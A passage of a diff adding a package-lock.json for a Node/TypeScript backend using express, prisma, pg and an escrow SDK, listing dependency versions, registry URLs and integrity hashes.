"^1.4.7", + "cors": "^2.8.6", + "dotenv": "^17.4.2", + "express": "^5.2.1", + "intl-messageformat": "^10.7.18", + "jsonwebtoken": "^9.0.3", + "pg": "^8.23.1", + "pino": "^9.13.0", + "zod": "^4.6.5" + }, + "devDependencies": { + "@types/bcryptjs": "^2.4.6", + "@types/cookie-parser": "^1.4.10", + "@types/cors": "^2.8.19", + "@types/express": "^5.0.6", + "@types/jsonwebtoken": "^9.0.10", + "@types/node": "^26.5.1", + "@types/supertest": "^7.2.1", + "embedded-postgres": "^18.4.0-beta.17", + "fast-check": "^3.23.2", + "prisma": "^7.10.1", + "supertest": "^7.2.2", + "tsx": "^4.23.13", + "typescript": "^7.0.2", + "vitest": "^4.1.11" + }, + "engines": { + "node": "^20.19.0 || ^22.12.0 || >=24.0.0" + } + }, + "node_modules/@docforum/escrow-sdk": { + "version": "0.2.0", + "resolved": "https://github.com/DocForum/docforum-escrow/releases/download/sdk-v0.2.0/docforum-escrow-sdk-0.2.0.tgz", + "integrity": "sha512-M7I6CctDSvimCWT/fa9VIwHGC/qgoO9O9OXQXQqsPXK7JPfN1ndtOFNDnpQlkAYvqnojPSaJ3JpysildOUWUNw==", + "dependencies": { + "@stellar/stellar-sdk": "^16.0.1" + } + }, + "node_modules/@electric-sql/pglite": { + "version": "0.4.3", + "resolved": "https://registry.npmjs.org/@electric-sql/pglite/-/pglite-0.4.3.tgz", + "integrity": "sha512-ichuWTgtd4mOM1G4SpyGJa5trT03lWbMypDV0fUXUCXg5hiHqVAz/bZyV68NqmkLB7WcYmj1RMJVSp8HV/v/ZQ==", + "devOptional": true, + "license": "Apache-2.0" + }, + "node_modules/@electric-sql/pglite-socket": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/@electric-sql/pglite-socket/-/pglite-socket-0.1.3.tgz", + "integrity": "sha512-LAciWM0M1dCL8hlsxu2venbVZcdxema0BtDfpWYVqr+Y468UADw0pFWidhKw1M8sfJ8rdLT71tjMmnirf/IZRQ==", + "devOptional": true, + "license": "Apache-2.0", + "bin": { + "pglite-server": "dist/scripts/server.js" + }, + "peerDependencies": { + "@electric-sql/pglite": "0.4.3" + } + }, + "node_modules/@electric-sql/pglite-tools": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/@electric-sql/pglite-tools/-/pglite-tools-0.3.3.tgz", + "integrity": "sha512-AlzLJTRJ8+UFgK8CmxIpyIpJ0+YaFw02IiOSdYrqxwPXdSyeIShz8aa9Tq+tYFXdPwcaMp/Fc80mQZ1dkOQ/wg==", + "devOptional": true, + "license": "Apache-2.0", + "peerDependencies": { + "@electric-sql/pglite": "0.4.3" + } + }, + "node_modules/@embedded-postgres/darwin-arm64": { + "version": "18.4.0-beta.17", + "resolved": "https://registry.npmjs.org/@embedded-postgres/darwin-arm64/-/darwin-arm64-18.4.0-beta.17.tgz", + "integrity": "sha512-Kg1ZMNFzkVIJs3g4V2UYEc5X005km9rGinxFBH8R1sOU2Rblvz4pt2Uf93Pu8Rk273Ue9HIdrbMPpgUqwjUi0Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=16" + } + }, + "node_modules/@embedded-postgres/darwin-x64": { + "version": "18.4.0-beta.17", + "resolved": "https://registry.npmjs.org/@embedded-postgres/darwin-x64/-/darwin-x64-18.4.0-beta.17.tgz", + "integrity": "sha512-4tShSYWMxUQTSWoQAdLnHISvRj6L9gTch9/31ASJPg6wgyN64LDRwMcOINEWybM7N0ropJ3nTYhFT3UX1bKY5Q==", + "cpu": [ + "x64" + ], + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=16" + } + }, + "node_modules/@embedded-postgres/linux-arm": { + "version": "18.4.0-beta.17", + "resolved": "https://registry.npmjs.org/@embedded-postgres/linux-arm/-/linux-arm-18.4.0-beta.17.tgz", + "integrity": "sha512-VuD1nFasN7yG57zpJcp6MBXM0nXqGfb8GBQV+f1FGJ17+VMNYLIFLhFp99UlY4xnWG74FQC4NPYw8eCwSTJ6qg==", + "cpu": [ + "arm" + ], + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=16" + } + }, + "node_modules/@embedded-postgres/linux-arm64": { + "version": "18.4.0-beta.17", + "resolved": "https://registry.npmjs.org/@embedded-postgres/linux-arm64/-/linux-arm64-18.4.0-beta.17.tgz", + "integrity": "sha512-TIzjtGnDGSD/LbdW0OWCEcbI+YVT0WKSfSr20TCkkP4UR8zeKe+QCZbO0/CM4hS9EWyZ4cDebjRvpRc3iMi6wg==", + "cpu": [ + "arm64" + ], + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=16" + } + }, + "node_modules/@embedded-postgres/linux-ia32": { + "version": "18.4.0-beta.17", + "resolved": "https://registry.npmjs.org/@embedded-postgres/linux-ia32/-/linux-ia32-18.4.0-beta.17.tgz", + "integrity": "sha512-aSRe4kknqRHuedtpo/rDIaqa8r9VrKIgW9p5FkJyIFqUUkIkxRqND1dg8xrDRREcSUXRJKS0x+j/AuxflgYIfg==", + "cpu": [ + "ia32" + ], + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=16" + } + }, + "node_modules/@embedded-postgres/linux-ppc64": { + "version": "18.4.0-beta.17", + "resolved": "https://registry.npmjs.org/@embedded-postgres/linux-ppc64/-/linux-ppc64-18.4.0-beta.17.tgz", + "integrity": "sha512-zO2RRUFdKRPplrdhmglG39VXJZzDXu3P3ONAG1sFPhGh89vbk24Btd5P7uOmQLIpWehzL0s+UqUWoeE/ZUKvgw==", + "cpu": [ + "ppc64" + ], + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=16" + } + }, + "node_modules/@embedded-postgres/linux-x64": { + "version": "18.4.0-beta.17", + "resolved": "https://registry.npmjs.org/@embedded-postgres/linux-x64/-/linux-x64-18.4.0-beta.17.tgz", + "integrity": "sha512-jVw/MdDtIX/vICH/DKIe6/mHpiCggdx6QVyza4vt/NbcZFsL0KhwglF6F1Koqx3gRBZ9XtN+vi63EsqSyqOSxA==", + "cpu": [ + "x64" + ], + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=16" + } + }, + "node_modules/@embedded-postgres/windows-x64": { + "version": "18.4.0-beta.17", + "resolved": "https://registry.npmjs.org/@embedded-postgres/windows-x64/-/windows-x64-18.4.0-beta.17.tgz", + "integrity": "sha512-AwRerliA4IGWyW5jWBvHt5vidVUSB0QQW9Tt2y7ScnmifnCb/awfxZr4BkBSTv+gNt8Djcddqs+xSF5Z6/CkTg==", + "cpu": [ + "x64" + ], + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=16" + } + }, + "node_modules/@esbuild/aix-ppc64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.28.2.tgz", + "integrity": "sha512-XExcO+dvLKvVtNTibSTBej1NCAbaGhWn9Ww1ZPx80qsahhPFe/8jgWP0IchNe0F3HwkU7n8ejhH8bjonqht8mQ==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.28.2.tgz", + "integrity": "sha512-kXXoiPVVGQcnIYGOeaovwOURpniDBpSq4A03qkQ+BMQqtGG6HYap3xne9C1O1yo4TR3qxlCX5IqqmX6fFo2Lqg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.28.2.tgz", + "integrity": "sha512-5YfKeeI8qWfBZIX+u2xZC3Zlb3Os/gLS2sbEKM+I4ZOcsWmHS2WLysCcQZDAFRslDUU5Oiq44gf6PYN1vGwG5A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-x64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.28.2.tgz", + "integrity": "sha512-O387ite7SzUyCcy3JQX4P4bLtEA7bLLkx+esve5JHnyYfNTxcVpXZo9jhdB0lTKN44gztELTdU7nS8Nr16Fs1Q==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-arm64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.28.2.tgz", + "integrity": "sha512-n4KqkOQrraxHJcgjM1RvwbigfQKIKJVpM7xp+KsxiyUSrRdIXnt73VhrPAx0fV44hgfmIVKjxMN9J1t5jySVkw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-x64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.28.2.tgz", + "integrity": "sha512-uq6suIWYP37qzGddBKPw5QEQPi6HiLGsO7UmkpfyaYNQ3D+rN6w6WfwH+nuqcGXWvawGwxOEroO4YGnFh95azw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-arm64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.28.2.tgz", + "integrity": "sha512-n+I0BTSRIoy+d6RPKnEVwql5UwBJolytvY4mAOIEJorKlqgPII8ix6slVVrfZ5Tnj7glIZvloylbB/EJPMWEXw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-x64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.28.2.tgz", + "integrity": "sha512-78XJTJkvPs0kz2w61301PJjXl4g7q3JqiYMZ/M/yVI73EHBrCRTgkhu9oqG7vPqq+a/yadEW8aD+agKlk5xrmg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.28.2.tgz", + "integrity": "sha512-XlDnu2q5yoqems+xay6wSAcg9DDD7K9RLKZEBOMZm3ckNpJBvOX20tSfby8KfrrhINDyv9V2YVZKY/SpoGJI8w==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.28.2.tgz", + "integrity": "sha512-pW4AC0P3it8c7do9MVM4p51FzHzdM/TZrerurgRcHJ2WTa1VQ1CIq18xncfpBJw4ojkiZZrKW2yIBWBP92j6Ug==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ia32": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.28.2.tgz", + "integrity": "sha512-CYbnj78HsIeA+DhgUKgFCfvNsTHFhMMrinUrMZpDXJXKN8T3XViTZ/+wtHeVxEWY8ewSzTFN+nRmSwO2tZaLUQ==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-loong64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.28.2.tgz", + "integrity": "sha512-buwkd8nsph4R+ajRvw0qM5Hja/TXQow3ptzWO2EbG/cqcIkHloRrdlBtQlshyYGTNFvfkfJ5tpPLVkY4DtsPfQ==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-mips64el": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.28.2.tgz", + "integrity": "sha512-ZVykbDyk7519VwiNb9Lcj9m8XM6v5V9uKPvrEMkkEedVewf+0itkhahp4HDpgERXhwLRpWFypsGbG/J8s0QjJA==", + "cpu": [ + "mips64el" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ppc64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.28.2.tgz", + "integrity": "sha512-CAXl+Dtd9UUuJd8pKKdwh6MLm3MUMiqMPmhZ3tTSXPqfyQ3vDl6R5hZdZ/kYojK4ofXtdfSv1tFq8XzWx3heNQ==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-riscv64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.28.2.tgz", + "integrity": "sha512-GeXCej4IQtU1B+QlDV8W/RRvbzI3O/Stss+/bCXv4lZls5WGRtu2a+3JkA3i4qIUlMXpcHebWpF8AkJhATowuA==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-s390x": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.28.2.tgz", + "integrity": "sha512-3H1weTYZPxt/WOhByszQZybS9w5lKzUn1FDMsgEChbHWQwHYQQRfBxgCcZvPhjHfKyJjIievvMmEUawJrdY9Dg==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-x64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.28.2.tgz", + "integrity": "sha512-4xTZr1FUmSoQW4XIWmit3tzQrUTZM+N3P0XV8xROKYF50XfI7xeO90+1bZvNwxIufQ9hDQVRJH5YhgPVF8A/HQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-arm64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.28.2.tgz", + "integrity": "sha512-sSATRjPeDBg3pdgHoQfoYBob11Kk1FGa9lui5RIHZCoCkJa9QKlvl3/vKz2usCmYYjs7ymJR/2Nnsqe+Hjt5nw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-x64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.28.2.tgz", + "integrity": "sha512-lqnzCV+mM0gIADaKihiCg6ifgfU2L3h5E33rNQBN1Y4MaVGnzryzmvvf7UHxprpQdE8hpqLolJ9Rl+SkIRDpyw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-arm64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.28.2.tgz", + "integrity": "sha512-AL2qJILH7lNjrDmCQDvdxMfAUIv8KMNZOvrwAQ8i8//ntL9FflhOyMJ8OZSMBb8/AWXe3/5v5S20y3zCoZWKoQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-x64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.28.2.tgz", + "integrity": "sha512-QtiuPytchRyC4rwUKhexJdQKvDuZ6hWloi3igqPQNUJCS1/v9EiO3UTOXR6A3FoMo4fnAKbWJdqaIwhOzh8qEw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openharmony-arm64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.28.2.tgz", + "integrity": "sha512-WkhYDmpTjLvGlScA1rwjRUmhl4k8oXR3cIbtqWmELgU/dFeHHlEllxDvdWcNJV9rbzCexB5vz8gtNewWLgCT7Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/sunos-x64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.28.2.tgz", + "integrity": "sha512-GPMSkTOtMnv2U2F8gxe4Io6qmVs+YKyp832Etqqxr0hFngmXQ3rzwytelm3GIn7T4VviRUlf3sOgBOiTdvaf7g==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-arm64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.28.2.tgz", + "integrity": "sha512-PIhhEkE9uPBleRBrQEJpUn7MBnibZzbGzYWPmY3x+YoVg/95zbjB4CxPPOQ8l5tYYM4mMaCthF8/1DIfBQQyWQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-ia32": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.28.2.tgz", + "integrity": "sha512-YmJbfTlvU7Sdn9BB+4PRES4oB6pxgS37MAONj+hBr/cpXS1aBPKXxNnDbu+QCWPj0o9dgyxeq79g6c5P8KeuYA==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-x64": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.28.2.tgz", + "integrity": "sha512-5ebpxr3nWMzrL/rnUI755Jkuee0bHL/Gq0WTF9lvcpv73wAp5eu8MfBUgWK9bhWvZjj7yX8etf/8tI8Ney695g==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@formatjs/ecma402-abstract": { + "version": "2.3.6", + "resolved": "https://registry.npmjs.org/@formatjs/ecma402-abstract/-/ecma402-abstract-2.3.6.tgz", + "integrity": "sha512-HJnTFeRM2kVFVr5gr5kH1XP6K0JcJtE7Lzvtr3FS/so5f1kpsqqqxy5JF+FRaO6H2qmcMfAUIox7AJteieRtVw==", + "license": "MIT", + "dependencies": { + "@formatjs/fast-memoize": "2.2.7", + "@formatjs/intl-localematcher": "0.6.2", + "decimal.js": "^10.4.3", + "tslib": "^2.8.0" + } + }, + "node_modules/@formatjs/fast-memoize": { + "version": "2.2.7", + "resolved": "https://registry.npmjs.org/@formatjs/fast-memoize/-/fast-memoize-2.2.7.tgz", + "integrity": "sha512-Yabmi9nSvyOMrlSeGGWDiH7rf3a7sIwplbvo/dlz9WCIjzIQAfy1RMf4S0X3yG724n5Ghu2GmEl5NJIV6O9sZQ==", + "license": "MIT", + "dependencies": { + "tslib": "^2.8.0" + } + }, + "node_modules/@formatjs/icu-messageformat-parser": { + "version": "2.11.4", + "resolved": "https://registry.npmjs.org/@formatjs/icu-messageformat-parser/-/icu-messageformat-parser-2.11.4.tgz", + "integrity": "sha512-7kR78cRrPNB4fjGFZg3Rmj5aah8rQj9KPzuLsmcSn4ipLXQvC04keycTI1F7kJYDwIXtT2+7IDEto842CfZBtw==", + "license": "MIT", + "dependencies": { + "@formatjs/ecma402-abstract": "2.3.6", + "@formatjs/icu-skeleton-parser": "1.8.16", + "tslib": "^2.8.0" + } + }, + "node_modules/@formatjs/icu-skeleton-parser": { + "version": "1.8.16", + "resolved": "https://registry.npmjs.org/@formatjs/icu-skeleton-parser/-/icu-skeleton-parser-1.8.16.tgz", + "integrity": "sha512-H13E9Xl+PxBd8D5/6TVUluSpxGNvFSlN/b3coUp0e0JpuWXXnQDiavIpY3NnvSp4xhEMoXyyBvVfdFX8jglOHQ==", + "license": "MIT", + "dependencies": { + "@formatjs/ecma402-abstract": "2.3.6", + "tslib": "^2.8.0" + } + }, + "node_modules/@formatjs/intl-localematcher": { + "version": "0.6.2", + "resolved": "https://registry.npmjs.org/@formatjs/intl-localematcher/-/intl-localematcher-0.6.2.tgz", + "integrity": "sha512-XOMO2Hupl0wdd172Y06h6kLpBz6Dv+J4okPLl4LPtzbr8f66WbIoy4ev98EBuZ6ZK4h5ydTN6XneT4QVpD7cdA==", + "license": "MIT", + "dependencies": { + "tslib": "^2.8.0" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.6.0.tgz", + "integrity": "sha512-T7jf+5zgsZHwNJ4lvQ7/aezbyk0nNX+zJVWpmHA7VYsEx7a7qr5Rg5IbtJFqkgze5Y2sruq1RUY8Q837Od7iFw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@napi-rs/lzma-linux-x64-gnu": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/@napi-rs/lzma-linux-x64-gnu/-/lzma-linux-x64-gnu-1.5.1.tgz", + "integrity": "sha512-oTXEIha4SsuXdTA4Iyskj0kpdx2yVXdhd75c2v3xGrHFfVMsbhTPZU/nMPL4sWKo4pBHm3aucLaqGlF696dTyQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^22.20 || ^24.12 || >=25" + } + }, + "node_modules/@noble/ed25519": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/@noble/ed25519/-/ed25519-3.2.0.tgz", + "integrity": "sha512-criDgRlnUA09hchYrTy/JUWPIEap5rZxQe6wDWzRx51oWWpDRcUpuNzlgPxDJaOK6AsW9c0wKcj3rKRv6t+bPQ==", + "license": "MIT", + "funding": { + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/@noble/hashes": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/@noble/hashes/-/hashes-1.8.0.tgz", + "integrity": "sha512-jCs9ldd7NwzpgXDIf6P3+NrHh9/sD6CQdxHyjQI+h/6rDNo88ypBxxz45UDuZHz9r3tNz7N/VInSVoVdtXEI4A==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^14.21.3 || >=16" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/@paralleldrive/cuid2": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/@paralleldrive/cuid2/-/cuid2-2.3.1.tgz", + "integrity": "sha512-XO7cAxhnTZl0Yggq6jOgjiOHhbgcO4NqFqwSmQpjK3b6TEE6Uj/jfSk6wzYyemh3+I0sHirKSetjQwn5cZktFw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@noble/hashes": "^1.1.5" + } + }, + "node_modules/@pinojs/redact": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/@pinojs/redact/-/redact-0.4.0.tgz", + "integrity": "sha512-k2ENnmBugE/rzQfEcdWHcCY+/FM3VLzH9cYEsbdsoqrvzAKRhUZeRNhAZvB8OitQJ1TBed3yqWtdjzS6wJKBwg==", + "license": "MIT" + }, + "node_modules/@prisma/adapter-pg": { + "version": "7.10.1", + "resolved": "https://registry.npmjs.org/@prisma/adapter-pg/-/adapter-pg-7.10.1.tgz", + "integrity": "sha512-EP9ruPYHjKP80WZlb5qVaEXKgZjJieBFjAxcBtQnDAHD6+16UN4keVmBh6L/RUpuDQT2FQRbvKNgq5d4Ix+IkQ==", + "license": "Apache-2.0", + "dependencies": { + "@prisma/driver-adapter-utils": "7.10.1", + "@types/pg": "^8.16.0", + "pg": "^8.16.3", + "postgres-array": "3.0.4" + } + }, + "node_modules/@prisma/adapter-pg/node_modules/postgres-array": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/postgres-array/-/postgres-array-3.0.4.tgz", + "integrity": "sha512-nAUSGfSDGOaOAEGwqsRY27GPOea7CNipJPOA7lPbdEpx5Kg3qzdP0AaWC5MlhTWV9s4hFX39nomVZ+C4tnGOJQ==", + "license": "MIT", + "engines": { + "node": ">=12" + } + }, + "node_modules/@prisma/client": { + "version": "7.10.1", + "resolved": "https://registry.npmjs.org/@prisma/client/-/client-7.10.1.tgz", + "integrity": "sha512-5tgAbFGh//zVOC6WPNVgziOErJHYkUE+wmqCwbIyq6IrTXUYtv9y2iBFGh/Owo99Mx0+cr0j1FOrxkYBMuyhaQ==", + "license": "Apache-2.0", + "dependencies": { + "@prisma/client-runtime-utils": "7.10.1" + }, + "engines": { + "node": "^20.19 || ^22.12 || >=24.0" + }, + "peerDependencies": { + "prisma": "*", + "typescript": ">=5.4.0" + }, + "peerDependenciesMeta": { + "prisma": { + "optional": true + }, + "typescript": { + "optional": true + } + } + }, + "node_modules/@prisma/client-runtime-utils": { + "version": "7.10.1", + "resolved": "https://registry.npmjs.org/@prisma/client-runtime-utils/-/client-runtime-utils-7.10.1.tgz", + "integrity": "sha512-AzoATVIgmO3lcZfM443+9SI7+cyLMW2+Psw4op8WQHpHvHCX//CKxv8fwhiL0yGWF8DjdQrFewxrZo5McBdB8g==", + "license": "Apache-2.0" + }, + "node_modules/@prisma/config": { + "version": "7.10.1", + "resolved": "https://registry.npmjs.org/@prisma/config/-/config-7.10.1.tgz", + "integrity": "sha512-+0swF5ELUa3P/9cIR26+gpYjjCbGE0qvEBZhV4zMDkYsrtHjZ884MQbOnWFWXj600N0sSJNnHbtBqe12yDngWg==", + "devOptional": true, + "license": "Apache-2.0", + "dependencies": { + "c12": "3.3.4", + "deepmerge-ts": "8.0.2", + "effect": "3.20.0", + "empathic": "2.0.0" + } + }, + "node_modules/@prisma/debug": { + "version": "7.10.1", + "resolved": "https://registry.npmjs.org/@prisma/debug/-/debug-7.10.1.tgz", + "integrity": "sha512-eFCAkGZ13D/qPg48JBlG5IWi9cSBBOC7oG3abDPcAkYioDWlIjh0YJJLK2J7qo5S+xWWD8I6egAN/8KbCaiMCA==", + "license": "Apache-2.0" + }, + "node_modules/@prisma/dev": { + "version": "0.24.17", + "resolved": "https://registry.npmjs.org/@prisma/dev/-/dev-0.24.17.tgz", + "integrity": "sha512-UvdZzmpFwknnfreh6Jije84ekkYGPYEJhXG1tFzCsCfQyzJifrOo38eZc0qajzvaC6OLUOrN9ML5XfCnEZL9DA==", + "devOptional": true, + "license": "ISC", + "dependencies": { + "@electric-sql/pglite": "0.4.3", + "@electric-sql/pglite-socket": "0.1.3", + "@electric-sql/pglite-tools": "0.3.3", + "@prisma/get-platform": "7.2.0", + "@prisma/query-plan-executor": "7.2.0", + "@prisma/streams-local": "0.1.11", + "find-my-way": "9.7.0", + "foreground-child": "3.3.1", + "get-port-please": "3.2.0", + "pathe": "2.0.3", + "proper-lockfile": "4.1.2", + "remeda": "2.33.4", + "std-env": "3.10.0", + "valibot": "1.4.2", + "zeptomatch": "2.1.0" + } + }, + "node_modules/@prisma/dev/node_modules/std-env": { + "version": "3.10.0", + "resolved": "https://registry.npmjs.org/std-env/-/std-env-3.10.0.tgz", + "integrity": "sha512-5GS12FdOZNliM5mAOxFRg7Ir0pWz8MdpYm6AY6VPkGpbA7ZzmbzNcBJQ0GPvvyWgcY7QAhCgf9Uy89I03faLkg==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/@prisma/driver-adapter-utils": { + "version": "7.10.1", + "resolved": "https://registry.npmjs.org/@prisma/driver-adapter-utils/-/driver-adapter-utils-7.10.1.tgz", + "integrity": 